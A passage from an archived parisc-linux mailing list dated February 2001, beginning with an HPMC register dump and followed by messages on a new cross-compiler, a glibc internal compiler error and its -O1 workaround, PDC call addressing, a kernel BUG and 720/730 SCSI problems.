04-07  0000000000000000  0000000000000000  0000000000000000  0000000000000000
08-11  0000000000000000  0000000000000000  0000000000000000  000000000000003f
12-15  0000000000000000  0000000000000000  0000000000000000  0000000000000000
16-19  000000108f74c3c7  00000000000000f0  000000f0f0044604  000000000d0012f0
20-23  0000000014340300  00000000d334c780  0000000008000008  0000000000000000
24-27  00000000002e6000  00000000002e6000  bffdfffffffffff7  0000000000000000
28-31  00000000c03212f0  0000000000000006  0000000000000000  0000000000000037

Space Registers 0 - 7
00-03  00000000          00000000          00000000          00000000
04-07  00000000          00000000          00000000          00000000


IIA Space (back entry)       = 0x00000000000000f0
IIA Offset (back entry)      = 0x000000f0f0044608
Check Type                   = 0x20000000
CPU State                    = 0x9e000004
Cache Check                  = 0x00000000
TLB Check                    = 0x00000000
Bus Check                    = 0x0030103b
Assists Check                = 0x00000000
Assist State                 = 0x00000000
Path Info                    = 0x00000000
System Responder Address     = 0xfffffffffed00000
System Requestor Address     = 0xfffffffffffa0000


Floating Point Registers 0 - 31
00-03  0010080000000000  0000000000000000  0000000000000000  0000000000000000
04-07  0000000000000000  00000000c031aaf0  00000000cfc76080  00000000c031aaf0
08-11  0000000000000802  0000000000000060  00000000c037a040  00000000c032d944
12-15  000000000804000a  0000000000000001  00000000c0168d04  00000000cfff0000
16-19  00000000c02e5a00  00000000cfc76080  00000000cfff0000  0000000000000000
20-23  00000000c031aaf0  00000000c02e50c0  cccccccd00000094  00000000cccccccd
24-27  0000002f00000200  00000000cfcc1140  0000000000000034  0000000000000001
28-31  0000000000000010  0000000000000001  00000000c0145ef4  00000000c0373cb8


Check Summary                = 0xcb81000000000000
Available Memory             = 0x0000000010000000
CPU Diagnose Register 2      = 0x0300000000002204
CPU Status Register 0        = 0x2440c20000000000
CPU Status Register 1        = 0x8080000000000000
SADD LOG                     = 0x0320f9000d1112f0
Read Short LOG               = 0xc13ff0f0f0044678


--------------  Memory Error Log Information  --------------

Bus 0 Log Information

Timestamp =    Fri Feb  2 07:58:17 GMT 2001    (20:01:02:02:07:58:17)

  OV  RQ  RS      ESTAT      A  C  D  corr  unc  fe  cw  pf
  --  --  --      -----      -  -  -  ----  ---  --  --  --
          X     ERR_ERROR       X            X

Bus Requestor Address      = 0xfffffffffffa0000
Bus Target Address         = 0x0000000000000000
Bus Responder Address      = 0xfffffffffed00000

Error Status Reg           = 0x0000000000000010
Runway Control Reg         = 0x0000021c00002818
Runway Address Reg         = 0xc1bff0fffed08040
Runway Data High Reg       = 0xf8018a1ff820ca01
Runway Data Low Reg        = 0xf8018a1ff820ca01
Memory Address Reg         = 0x000001ff3fffffff
Memory Address Corr Reg    = 0x000001ff3fffffff
Memory Syndrome Reg        = 0x0000000000000000
Memory Syndrome Corr Reg   = 0x0000000000000000



 Address/Control Parity Error Registers

   Address/Control Parity Error Bit (mem_addr_par_stat) Not Set



------------  I/O Module Error Log Information  ------------

Summary of IO subsystem log entries
-----------------------------------
                        Phys Loc             Vendor  Device   Severity
Description             (hex)                 Id      Id      CORR UNC FE  CW
-----------             -----                ------  ------   ----------------
System Bus Adapter RP  0x000000ffff04ff83   0x103c  0x1051              X
System Bus Adapter RP  0x000000ffff01ff83   0x103c  0x1051              X
System Bus Adapter RP  0x000000ffff02ff83   0x103c  0x1051              X
System Bus Adapter RP  0x000000ffff03ff83   0x103c  0x1051              X


Detail display of IO subsystem log entries
------------------------------------------

System Bus Adapter --       Rope Interface
------------------------------------------

Timestamp =    Fri Feb  2 07:58:17 GMT 2001    (20:01:02:02:07:58:17)

  OV  RQ  RS      ESTAT      A  C  D  corr  unc  fe  cw  pf
  --  --  --      -----      -  -  -  ----  ---  --  --  --
               ERR_FUNCTION                      X

IO Requestor Address    = 0x0000000000000000
IO Target Address       = 0x0000000000000000
IO Responder Address    = 0x0000000000000000
IO Physical Location    = 0x000000ffffffff82
IO Hardware Path        = 0x00ffffffffffff00

Module Error Register   = 0x0000000000000000
Rope Physical Location  = 0x000000ffff04ff83

System Bus Adapter --       Rope Interface
------------------------------------------

Timestamp =    Fri Feb  2 07:58:17 GMT 2001    (20:01:02:02:07:58:17)

  OV  RQ  RS      ESTAT      A  C  D  corr  unc  fe  cw  pf
  --  --  --      -----      -  -  -  ----  ---  --  --  --
               ERR_FUNCTION                      X

IO Requestor Address    = 0x0000000000000000
IO Target Address       = 0x0000000000000000
IO Responder Address    = 0x0000000000000000
IO Physical Location    = 0x000000ffffffff82
IO Hardware Path        = 0x00ffffffffffff00

Module Error Register   = 0x0000000000000000
Rope Physical Location  = 0x000000ffff01ff83

System Bus Adapter --       Rope Interface
------------------------------------------

Timestamp =    Fri Feb  2 07:58:17 GMT 2001    (20:01:02:02:07:58:17)

  OV  RQ  RS      ESTAT      A  C  D  corr  unc  fe  cw  pf
  --  --  --      -----      -  -  -  ----  ---  --  --  --
               ERR_FUNCTION                      X

IO Requestor Address    = 0x0000000000000000
IO Target Address       = 0x0000000000000000
IO Responder Address    = 0x0000000000000000
IO Physical Location    = 0x000000ffffffff82
IO Hardware Path        = 0x00ffffffffffff00

Module Error Register   = 0x0000000000000000
Rope Physical Location  = 0x000000ffff02ff83

System Bus Adapter --       Rope Interface
------------------------------------------

Timestamp =    Fri Feb  2 07:58:17 GMT 2001    (20:01:02:02:07:58:17)

  OV  RQ  RS      ESTAT      A  C  D  corr  unc  fe  cw  pf
  --  --  --      -----      -  -  -  ----  ---  --  --  --
               ERR_FUNCTION                      X

IO Requestor Address    = 0x0000000000000000
IO Target Address       = 0x0000000000000000
IO Responder Address    = 0x0000000000000000
IO Physical Location    = 0x000000ffffffff82
IO Hardware Path        = 0x00ffffffffffff00

Module Error Register   = 0x0000000000000000
Rope Physical Location  = 0x000000ffff03ff83

Main Menu: Enter command or menu >




From - Thu Nov 08 21:16:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] New XC available
Date: Fri, 02 Feb 2001 01:35:27 -0700
Lines: 12
Approved: news@gmane.org
Message-ID: <20010202083527.B0D8938786@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619825 14913 80.91.229.3 (22 Nov 2014 01:30:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:25 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb  2 01:33:30 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 77B704A18
	for <parisc-linux@parisc-linux.org>; Fri,  2 Feb 2001 01:33:30 -0700 (MST)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel1.hp.com (Postfix) with ESMTP id DCC23143
	for <parisc-linux@parisc-linux.org>; Fri,  2 Feb 2001 03:33:29 -0500 (EST)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP id B0D8938786
	for <parisc-linux@parisc-linux.org>; Fri,  2 Feb 2001 01:35:27 -0700 (MST)
X-Mailer: exmh version 2.2 06/23/2000 (debian 2.2-1) with nmh-1.0.4+dev
Xref: news.gmane.org gmane.linux.ports.parisc:10121

I have posted a new i386-linux -> hppa-linux 32 and 64bit cross-compiler at,

ftp://puffin.external.hp.com/pub/parisc/binaries/LinuxX86/xc-20010201.tar.gz

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation






From - Thu Nov 08 21:16:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Problems building glibc
Date: Fri, 2 Feb 2001 12:17:38 +0100
Lines: 56
Approved: news@gmane.org
Message-ID: <01020212173801.05589@P100.helgenet.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619826 14917 80.91.229.3 (22 Nov 2014 01:30:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:26 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb  2 04:16:10 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.gmx.net (pop.gmx.net [194.221.183.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 10BFF4A18
	for <parisc-linux@parisc-linux.org>; Fri,  2 Feb 2001 04:16:10 -0700 (MST)
Original-Received: (qmail 20879 invoked by uid 0); 2 Feb 2001 11:16:07 -0000
Original-Received: from pd904024a.dip.t-dialin.net (HELO P100.helgenet.de) (217.4.2.74)
  by mail.gmx.net (mp001-rz3) with SMTP; 2 Feb 2001 11:16:07 -0000
X-Mailer: KMail [version 1.2]
Xref: news.gmane.org gmane.linux.ports.parisc:10122

Hi,

building with palinux-autobuilder from todays CVS head I get following 
problem on 32bit parisc

Greetings,
Helge

....
### Making kernel dependencies ###
## Building kernel dependencies ##
......
### Building glibc ###
## Cleaning glibc build dir ##
Running "cd /home/cvs/parisc/xc-build/ && rm -rf glibc; mkdir 
/home/cvs/parisc/xc-build/glibc"
## Configuring glibc ##
Running "cd /home/cvs/parisc/xc-build/glibc; export 
PATH=/home/cvs/parisc/xc/bin:$PATH; /home/cvs/parisc/glibc/configure 
--target=hppa-linux --host=hppa-linux --build=i386-linux  
--prefix=/opt/puffin/hppa-linux --without-cvs --disable-shared 
--disable-profile --enable-static-nss --enable-add-ons
--with-headers=/home/cvs/parisc/linux/include"

............later:

hppa-linux-gcc ../sysdeps/generic/glob.c -c -O2 -Wall -Winline 
-Wstrict-prototypes -Wwrite-strings
-g      -I../include -I. -I/home/cvs/parisc/xc-build/glibc/posix -I.. 
-I../libio  -I/home/cvs/parisc/xc-build/glibc -I../sysdeps/hppa/elf 
-I../linuxthreads/sysdeps/unix/sysv/linux/hppa 
-I../linuxthreads/sysdeps/unix/sysv/linux -I../linuxthreads/sysdeps/pthread 
-I../linuxthreads/sysdeps/unix/sysv
-I../linuxthreads/sysdeps/unix -I../linuxthreads/sysdeps/hppa 
-I../sysdeps/unix/sysv/linux/hppa -I../sysdeps/unix/sysv/linux 
-I../sysdeps/gnu -I../sysdeps/unix/common -I../sysdeps/unix/mman 
-I../sysdeps/unix/inet -I../sysdeps/unix/sysv -I../sysdeps/unix 
-I../sysdeps/posix -I../sysdeps/hppa/hppa1.1 -I../sysdeps/wordsize-32 
-I../sysdeps/ieee754/flt-32 -I../sysdeps/ieee754/dbl-64 
-I../sysdeps/ieee754/ldbl-128 -I../sysdeps/hppa/fpu -I../sysdeps/hppa 
-I../sysdeps/ieee754 -I../sysdeps/generic/elf -I../sysdeps/generic  -nostdinc 
-isystem /home/cvs/parisc/xc/lib/gcc-lib/hppa-linux/2.96/include -isystem 
/home/cvs/parisc/linux/include -D_LIBC_REENTRANT -include 
../include/libc-symbols.h     -o
/home/cvs/parisc/xc-build/glibc/posix/glob.o
../sysdeps/generic/glob.c: In function `glob_in_dir':
../sysdeps/generic/glob.c:1446: Internal compiler error in eliminate_regs, at 
reload1.c:2505
   Please submit a full bug report.
   See <URL:http://www.gnu.org/software/gcc/bugs.html> for instructions.
make[2]: *** [/home/cvs/parisc/xc-build/glibc/posix/glob.o] Fehler 1
make[1]: *** [posix/subdir_lib] Fehler 2
make: *** [all] Fehler 2




From - Thu Nov 08 21:16:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Marvin <jsm@udlkern.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] calling PDC_PSW from head.S on A500
Date: Fri, 2 Feb 2001 04:45:55 -0700 (MST)
Lines: 30
Approved: news@gmane.org
Message-ID: <200102021145.EAA28179@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619826 14921 80.91.229.3 (22 Nov 2014 01:30:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:26 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb  2 04:45:56 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202])
	by dsl2.external.hp.com (Postfix) with ESMTP id 91EEC4A18
	for <parisc-linux@lists.parisc-linux.org>; Fri,  2 Feb 2001 04:45:56 -0700 (MST)
Original-Received: from udlkern.fc.hp.com (udlkern.fc.hp.com [15.1.52.48])
	by atlrel2.hp.com (Postfix) with ESMTP id CE73012BD
	for <parisc-linux@lists.parisc-linux.org>; Fri,  2 Feb 2001 06:45:55 -0500 (EST)
Original-Received: (from jsm@localhost) by udlkern.fc.hp.com (8.8.6 (PHNE_14041)/8.7.3 SMKit7.0) id EAA28179 for parisc-linux@lists.parisc-linux.org; Fri, 2 Feb 2001 04:45:55 -0700 (MST)
Xref: news.gmane.org gmane.linux.ports.parisc:10123

>
> To enable slave's properly, I need to call PDC to set the wide
> mode as default (for trap handling). Thanks to jsm for getting
> me this far. But it HPMC's in A500 PDC.
> Any ideas what else I need to do?
>
>
> "ser pim 0 HPMC" output is appended.
> The CPU is clearly excuting PDC.
> %r2 correctly contains the return ptr.
> %r3 contains the PDC address called.
> %sp points to a valid stack area. (virtual vs physical?)
>

Grant,

Since you are in real mode, the stack and return pointer need to contain
physical addresses, not virtual addresses. You should load the physical
addresses instead of the virtual addresses by putting a PA() around
the expressions to load32 (See real2.S for an example). After the call
you can convert the stack pointer to virtual with the tovirt macro, i.e.:

    < make pdc call >

    tovirt %sp

John




From - Thu Nov 08 21:16:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problems building glibc
Date: Fri, 2 Feb 2001 22:48:11 +1100 (EST)
Lines: 15
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0102022244540.708-100000@front.linuxcare.com.au>
References: <01020212173801.05589@P100.helgenet.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619826 14926 80.91.229.3 (22 Nov 2014 01:30:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:26 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb  2 04:48:18 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from front.linuxcare.com.au (linuxcare.com.au [203.29.91.49])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3C61A4A18
	for <parisc-linux@parisc-linux.org>; Fri,  2 Feb 2001 04:48:17 -0700 (MST)
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id WAA02147;
	Fri, 2 Feb 2001 22:48:11 +1100
In-Reply-To: <01020212173801.05589@P100.helgenet.de>
Xref: news.gmane.org gmane.linux.ports.parisc:10124

On Fri, 2 Feb 2001, Helge Deller wrote:

> ../sysdeps/generic/glob.c: In function `glob_in_dir':
> ../sysdeps/generic/glob.c:1446: Internal compiler error in eliminate_regs, at 
> reload1.c:2505

It's a known bug with our mainline gcc.  Fixed on the devel branch, but
that has other problems at the moment.  For the time beingg, compile this
file at -O1.

Alan





From - Thu Nov 08 21:16:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Marvin <jsm@udlkern.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problems building glibc
Date: Fri, 2 Feb 2001 04:51:25 -0700 (MST)
Lines: 26
Approved: news@gmane.org
Message-ID: <200102021151.EAA28232@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619827 14930 80.91.229.3 (22 Nov 2014 01:30:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:27 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb  2 04:51:26 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5817E4A18
	for <parisc-linux@lists.parisc-linux.org>; Fri,  2 Feb 2001 04:51:26 -0700 (MST)
Original-Received: from udlkern.fc.hp.com (udlkern.fc.hp.com [15.1.52.48])
	by atlrel2.hp.com (Postfix) with ESMTP id B493B12C6
	for <parisc-linux@lists.parisc-linux.org>; Fri,  2 Feb 2001 06:51:25 -0500 (EST)
Original-Received: (from jsm@localhost) by udlkern.fc.hp.com (8.8.6 (PHNE_14041)/8.7.3 SMKit7.0) id EAA28232 for parisc-linux@lists.parisc-linux.org; Fri, 2 Feb 2001 04:51:25 -0700 (MST)
Xref: news.gmane.org gmane.linux.ports.parisc:10125

>
> Hi,
>
> building with palinux-autobuilder from todays CVS head I get following
> problem on 32bit parisc
>
> Greetings,
> Helge

Helge,

This is a known problem. The currently built compilers have a bug that
doesn't allow glibc to be built with the O2 option. You can edit the
glibc Makeconfig to fix this. Even if you have a compiler with the bug
fixed, I don't believe anyone has built and tested glibc built with
-O2 yet.

I believe the Alan Modra has already checked in a fix for this, I just
don't remember what branch the fix is on. Matt Taggart is in the process
of building new sets of tools, both native and XC, so the fix may be
available soon.

John




From - Thu Nov 08 21:16:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Muratti <rmurat@ibm.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problems building glibc
Date: Fri, 2 Feb 2001 22:56:50 +1100
Lines: 40
Approved: news@gmane.org
Message-ID: <3.0.32.20010202225653.0102f598@pop01.ny.us.ibm.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416619827 14934 80.91.229.3 (22 Nov 2014 01:30:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:27 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb  2 04:56:55 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from picard.corpconnect.com.au (picard.corpconnect.com.au [203.34.58.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id E7ED74A18
	for <parisc-linux@parisc-linux.org>; Fri,  2 Feb 2001 04:56:53 -0700 (MST)
Original-Received: from klingon (ppro.corpconnect.com.au [203.34.58.17])
	by picard.corpconnect.com.au (8.8.7/8.8.7) with SMTP id WAA29415
	for <parisc-linux@parisc-linux.org>; Fri, 2 Feb 2001 22:56:50 +1100
X-Sender: rmurat@pop01.ny.us.ibm.net (Unverified)
X-Mailer: Windows Eudora Pro Version 3.0 (32)
Xref: news.gmane.org gmane.linux.ports.parisc:10126

In Makeconfig
change 
default_cflags := -g -O2
to
default_cflags := -g -O

I had the same problem and someone on the list
suggested the above

Cheers
Rick




At 12:17 PM 2/02/2001 +0100, you wrote:
>Hi,
>
>building with palinux-autobuilder from todays CVS head I get following 
>problem on 32bit parisc
>
>Greetings,
>Helge


>../include/libc-symbols.h     -o
>/home/cvs/parisc/xc-build/glibc/posix/glob.o
>../sysdeps/generic/glob.c: In function `glob_in_dir':
>../sysdeps/generic/glob.c:1446: Internal compiler error in eliminate_regs,
at 
>reload1.c:2505
>   Please submit a full bug report.
>   See <URL:http://www.gnu.org/software/gcc/bugs.html> for instructions.
>make[2]: *** [/home/cvs/parisc/xc-build/glibc/posix/glob.o] Fehler 1
>make[1]: *** [posix/subdir_lib] Fehler 2
>make: *** [all] Fehler 2





From - Thu Nov 08 21:16:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Marvin <jsm@udlkern.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problems building glibc
Date: Fri, 2 Feb 2001 04:59:31 -0700 (MST)
Lines: 19
Approved: news@gmane.org
Message-ID: <200102021159.EAA28303@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619827 14936 80.91.229.3 (22 Nov 2014 01:30:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:27 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb  2 05:00:58 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 536574A18
	for <parisc-linux@lists.parisc-linux.org>; Fri,  2 Feb 2001 05:00:58 -0700 (MST)
Original-Received: from udlkern.fc.hp.com (udlkern.fc.hp.com [15.1.52.48])
	by atlrel1.hp.com (Postfix) with ESMTP id 4BAD0333
	for <parisc-linux@lists.parisc-linux.org>; Fri,  2 Feb 2001 06:59:32 -0500 (EST)
Original-Received: (from jsm@localhost) by udlkern.fc.hp.com (8.8.6 (PHNE_14041)/8.7.3 SMKit7.0) id EAA28303 for parisc-linux@lists.parisc-linux.org; Fri, 2 Feb 2001 04:59:31 -0700 (MST)
Xref: news.gmane.org gmane.linux.ports.parisc:10127

> It's a known bug with our mainline gcc.  Fixed on the devel branch, but
> that has other problems at the moment.  For the time beingg, compile this
> file at -O1.

OK, that answers the question about what branch the fix is on. Having
run into this bug before, I know there are a bunch of other glibc files
that won't compile, so I would suggest you just build all of glibc
with -O1.

Note, I believe that Matt Taggart will be publishing a new nfs root
with a new glibc later today (and this glibc will fix the alignment
problems found on PCXS,PCXT and PCXT' processors). The glibc he built
contains the rest of the alignment fixes that I am going to commit
in the next few minutes.

John




From - Thu Nov 08 21:16:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Greg Ingram <ingram@symsys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] C100 w/ Current CVS Bits
Date: Fri, 2 Feb 2001 09:25:11 -0600 (CST)
Lines: 24
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0102020921190.10996-100000@maestro.symsys.com>
References: <200102012215.XAA10570@zaphod.halden.lillfab.se>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619827 14938 80.91.229.3 (22 Nov 2014 01:30:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:27 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb  2 08:25:22 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5C6EE4A18
	for <parisc-linux@lists.parisc-linux.org>; Fri,  2 Feb 2001 08:25:22 -0700 (MST)
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA09592
	for <parisc-linux@puffin.external.hp.com>; Fri, 2 Feb 2001 08:21:12 -0700
Original-Received: (qmail 18401 invoked by uid 15267); 2 Feb 2001 15:25:14 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18317 invoked from network); 2 Feb 2001 15:25:12 -0000
Original-Received: from maestro.symsys.com (root@208.223.9.37)
  by mailserv2.iuinc.com with SMTP; 2 Feb 2001 15:25:12 -0000
Original-Received: from localhost (ingram@localhost)
	by maestro.symsys.com (8.9.3/8.9.3) with ESMTP id JAA11161
	for <parisc-linux@thepuffingroup.com>; Fri, 2 Feb 2001 09:25:11 -0600
In-Reply-To: <200102012215.XAA10570@zaphod.halden.lillfab.se>
Xref: news.gmane.org gmane.linux.ports.parisc:10128

Howdy,

Did it again.  CVS update, build new kernel, boot.  This one mounts the
root filesystem from a SCSI disk and then barfs copiously with this
message:

	kernel BUG at /usr/src/parisc/linux/include/asm/pgalloc.h:60!

Quick ref:  Here's the offending code from flush_cache_range():

	if (!mm->context) {
		BUG();
		return;
	}

Suggestions?

- Greg







From - Thu Nov 08 21:16:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@deathsdoor.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 720/50 SCSI - supported?
Date: Fri, 2 Feb 2001 18:14:19 +0100 (CET)
Lines: 27
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0102021804060.31237-100000@sgate.charlysworld.de>
References: <200102011141.WAA11608@customware.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619828 14940 80.91.229.3 (22 Nov 2014 01:30:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:28 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb  2 10:14:39 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7AE4D4A18
	for <parisc-linux@lists.parisc-linux.org>; Fri,  2 Feb 2001 10:14:39 -0700 (MST)
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA10035
	for <parisc-linux@puffin.external.hp.com>; Fri, 2 Feb 2001 10:10:28 -0700
Original-Received: (qmail 4670 invoked by uid 15267); 2 Feb 2001 17:14:37 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 4635 invoked from network); 2 Feb 2001 17:14:34 -0000
Original-Received: from pd95059db.dip.t-dialin.net (HELO sgate.charlysworld.de) (root@217.80.89.219)
  by mailserv2.iuinc.com with SMTP; 2 Feb 2001 17:14:34 -0000
Original-Received: from localhost (xam@localhost)
	by sgate.charlysworld.de (8.11.0/8.11.0) with ESMTP id f12HEKw16939
	for <parisc-linux@thepuffingroup.com>; Fri, 2 Feb 2001 18:14:22 +0100
X-Authentication-Warning: sgate.charlysworld.de: xam owned process doing -bs
X-Sender: xam@sgate.charlysworld.de
In-Reply-To: <200102011141.WAA11608@customware.com.au>
Xref: news.gmane.org gmane.linux.ports.parisc:10129

On Thu, 1 Feb 2001 penfold@customware.com.au wrote:

> Hi,
> 
> after successfully cross compiling a kernel, I have a problem!

[blablabla] :)

seems to be the same problems I have with my 730 ...
... nearly exactly the same messages and behaviour.
Since the 720 and 730 have similar hardware AFAIK, it
could be the same problem. Unfortunately I'm not a kernel hacker
nor I have the time (because I'm working currently on my final diploma
documentation).
It doesn't matter wether a scsi floppy is connected or not, btw ...

> Is this a known problem ?

someone told me that it is known; it's because of the broken ncr700
support on 730 machine (and perhaps 720 also)

greetings, max






From - Thu Nov 08 21:16:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
